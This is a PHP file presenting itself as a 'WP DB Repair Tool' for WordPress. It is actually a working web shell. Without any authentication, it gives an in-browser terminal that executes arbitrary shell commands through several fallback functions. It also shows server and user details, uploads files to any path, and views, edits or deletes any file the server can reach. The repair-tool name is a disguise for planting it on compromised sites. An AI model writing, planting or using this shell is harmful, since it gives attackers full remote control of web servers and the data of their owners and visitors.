<?php
@error_reporting(0);
@ini_set("display_errors",0);
@set_time_limit(0);
@ini_set("max_execution_time",0);
header("Content-Type: text/html; charset=utf-8");
$pwd = isset($_REQUEST["path"]) ? $_REQUEST["path"] : getcwd();
if(!is_dir($pwd)) $pwd = getcwd();
$u = function_exists("posix_getpwuid") ? @posix_getpwuid(posix_getuid()) : false;
$uname = $u ? $u["name"] : get_current_user();
?>
<!DOCTYPE html>
<html><head><meta charset="utf-8"><meta name="viewport" content="width=device-width,initial-scale=1">
<title>WP Repair</title>
<style>
*{box-sizing:border-box;margin:0;padding:0}
body{background:#1e1e1e;color:#d4d4d4;font:13px/1.5 "Segoe UI",sans-serif;padding:10px}
.wrap{max-width:1200px;margin:0 auto}
.top{background:#252526;border:1px solid #333;border-radius:4px;padding:10px 15px;margin-bottom:10px;display:flex;justify-content:space-between;align-items:center}
.top .logo{font-size:16px;font-weight:600;color:#569cd6}
.top .info{font-size:13px;color:#888}
.panel{background:#252526;border:1px solid #333;border-radius:4px;margin-bottom:10px}
.panel-hd{background:#2d2d2d;border-bottom:1px solid #333;padding:8px 12px;font-size:13px;font-weight:600;color:#ccc}
.panel-bd{padding:10px}
.cmd{display:flex;gap:6px}
.cmd input[type=text]{flex:1;padding:6px 8px;border:1px solid #444;border-radius:3px;font:12px/1.4 monospace;background:#1e1e1e;color:#d4d4d4}
.cmd input[type=text]:focus{outline:none;border-color:#007acc}
.btn{padding:6px 14px;background:#007acc;color:#fff;border:none;border-radius:3px;cursor:pointer;font-size:12px}
.btn:hover{background:#005a9e}
.out{background:#1e1e1e;color:#d4d4d4;padding:8px;border-radius:3px;margin-top:8px;font:11px/1.5 monospace;max-height:400px;overflow:auto;white-space:pre-wrap;word-break:break-all;border:1px solid #333}
.path-nav{display:flex;flex-wrap:wrap;gap:2px;margin-bottom:8px}
.path-nav a{color:#569cd6;text-decoration:none;padding:1px 3px;font-size:12px}
.path-nav a:hover{background:#094771;border-radius:2px}
table{width:100%;border-collapse:collapse;font-size:12px}
th{background:#2d2d2d;padding:6px 8px;text-align:left;color:#ccc;border-bottom:1px solid #444}
td{padding:5px 8px;border-bottom:1px solid #333}
tr:hover{background:#2a2d2e}
.dir a{color:#569cd6;font-weight:600}
.size{color:#888;font-size:11px}
.act a{color:#d4d4d4;text-decoration:none;font-size:11px;margin-right:6px}
.act a:hover{color:#fff;text-decoration:underline}
textarea{width:100%;height:300px;padding:8px;border:1px solid #333;border-radius:3px;font:11px/1.5 monospace;background:#1e1e1e;color:#d4d4d4;resize:vertical}
.msg-ok{background:#1e3a1e;color:#4ec9b0;padding:6px 10px;border-radius:3px;margin:6px 0;font-size:12px}
.msg-err{background:#3a1e1e;color:#f44747;padding:6px 10px;border-radius:3px;margin:6px 0;font-size:12px}
input[type=file]{font-size:12px;color:#ccc}
.footer{text-align:center;color:#555;font-size:11px;margin-top:10px}
</style></head><body><div class="wrap">
<div class="top"><span class="logo">WP DB Repair Tool</span><span class="info"><?php echo phpversion()." | ".php_uname("s")." ".php_uname("m"); ?></span></div>
<div class="panel"><div class="panel-bd"><table>
<tr><td style="width:60px;color:#888">Server</td><td><?php echo $_SERVER["SERVER_ADDR"]??php_uname("n"); ?></td></tr>
<tr><td style="color:#888">User</td><td><?php echo $uname." (uid:".posix_getuid().")"; ?></td></tr>
<tr><td style="color:#888">PHP</td><td><?php echo phpversion()." (".php_sapi_name().")"; ?></td></tr>
</table></div></div>
<div class="panel"><div class="panel-hd">Terminal</div><div class="panel-bd">
<form method="POST" class="cmd">
<input type="text" name="_x" placeholder="..." value="">
<input type="submit" value="Run" class="btn">
</form>
<?php
if(isset($_POST["_x"]) && $_POST["_x"]!==""){
$c = $_POST["_x"];
echo '<div class="out">';
if(function_exists("proc_open")){
$p=proc_open($c,array(0=>array("pipe","r"),1=>array("pipe","w"),2=>array("pipe","w")),$pp);
echo htmlspecialchars(stream_get_contents($pp[1]));
fclose($pp[0]);fclose($pp[1]);fclose($pp[2]);proc_close($p);
} elseif(function_exists("popen")){
$h=popen($c,"r");while(!feof($h)){echo htmlspecialchars(fread($h,4096));}pclose($h);
} elseif(function_exists("shell_exec")){echo htmlspecialchars(shell_exec($c));
} elseif(function_exists("system")){system($c);
} elseif(function_exists("exec")){exec($c,$o);echo htmlspecialchars(implode("\n",$o));
} else{echo "NO_EXEC";}
echo '</div>';
}
?>
</div></div>
<div class="panel"><div class="panel-hd">Upload</div><div class="panel-bd">
<form method="POST" enctype="multipart/form-data" style="display:flex;gap:8px;align-items:center">
<input type="file" name="f">
<input type="hidden" name="path" value="<?php echo htmlspecialchars($pwd); ?>">
<input type="submit" value="Upload" class="btn">
</form>
<?php
if(isset($_FILES["f"]) && $_FILES["f"]["name"]!==""){
$dest = $pwd."/".$_FILES["f"]["name"];
if(@move_uploaded_file($_FILES["f"]["tmp_name"],$dest)){
echo '<div class="msg-ok">Uploaded: '.htmlspecialchars($_FILES["f"]["name"]).'</div>';
} else {
echo '<div class="msg-err">Upload failed</div>';
}
}
?>
</div></div>
<div class="panel"><div class="panel-hd">Files: <?php echo htmlspecialchars($pwd); ?></div><div class="panel-bd">
<div class="path-nav">
<?php
$parts = explode("/", $pwd);
$cum = "";
foreach($parts as $i=>$p){
if($p===""){$cum="/";echo '<a href="?path=/">/</a>';continue;}
$cum .= ($cum==="/" ? "" : "/").$p;
echo '<span style="color:#555">/</span><a href="?path='.$cum.'">'.htmlspecialchars($p).'</a>';
}
?>
</div>
<?php
if(isset($_REQUEST["action"])){
$item = isset($_REQUEST["item"]) ? $_REQUEST["item"] : "";
if(isset($_REQUEST["action"]) && $_REQUEST["action"]==="view" && file_exists($item)){
echo '<div class="panel"><div class="panel-hd">View: '.htmlspecialchars(basename($item)).'</div><div class="panel-bd">';
echo '<div class="out" style="max-height:500px">'.htmlspecialchars(@file_get_contents($item)).'</div></div></div>';
}
if(isset($_REQUEST["action"]) && $_REQUEST["action"]==="edit" && file_exists($item)){
if(isset($_POST["content"])){
@file_put_contents($item,$_POST["content"]);
echo '<div class="msg-ok">Saved!</div>';
}
echo '<div class="panel"><div class="panel-hd">Edit: '.htmlspecialchars(basename($item)).'</div><div class="panel-bd">';
echo '<form method="POST"><textarea name="content">'.htmlspecialchars(@file_get_contents($item)).'</textarea><br><br>';
echo '<input type="submit" value="Save" class="btn"></form></div></div>';
}
if(isset($_REQUEST["action"]) && $_REQUEST["action"]==="delete" && file_exists($item)){
@unlink($item);
echo '<div class="msg-ok">Deleted: '.htmlspecialchars(basename($item)).'</div>';
}
}
$items = @scandir($pwd);
if($items){
echo '<table><tr><th>Name</th><th style="width:70px">Size</th><th style="width:160px">Actions</th></tr>';
foreach($items as $f){
if($f==="." || $f==="..") continue;
$fp = $pwd."/".$f;
$is_dir = is_dir($fp);
$sz = $is_dir ? "-" : @filesize($fp);
$sz_str = $is_dir ? "-" : ($sz>1048576?round($sz/1048576,1)."M":($sz>1024?round($sz/1024,1)."K":$sz."B"));
$ap = "?path=".urlencode($pwd);
if($is_dir){
echo '<tr><td class="dir"><a href="?path='.urlencode($fp).'">'.htmlspecialchars($f).'/</a></td><td class="size">-</td><td class="act">-</td></tr>';
} else {
echo '<tr><td>'.htmlspecialchars($f).'</td><td class="size">'.$sz_str.'</td><td class="act">';
echo '<a href="'.$ap.'&action=view&item='.urlencode($fp).'">View</a> ';
echo '<a href="'.$ap.'&action=edit&item='.urlencode($fp).'">Edit</a> ';
echo '<a href="'.$ap.'&action=delete&item='.urlencode($fp).'" onclick="return confirm(\'Delete?\')">Del</a>';
echo '</td></tr>';
}
}
echo '</table>';
}
?>
</div></div>
<div class="footer">WP DB Repair v1.0</div></div></body></html>
?>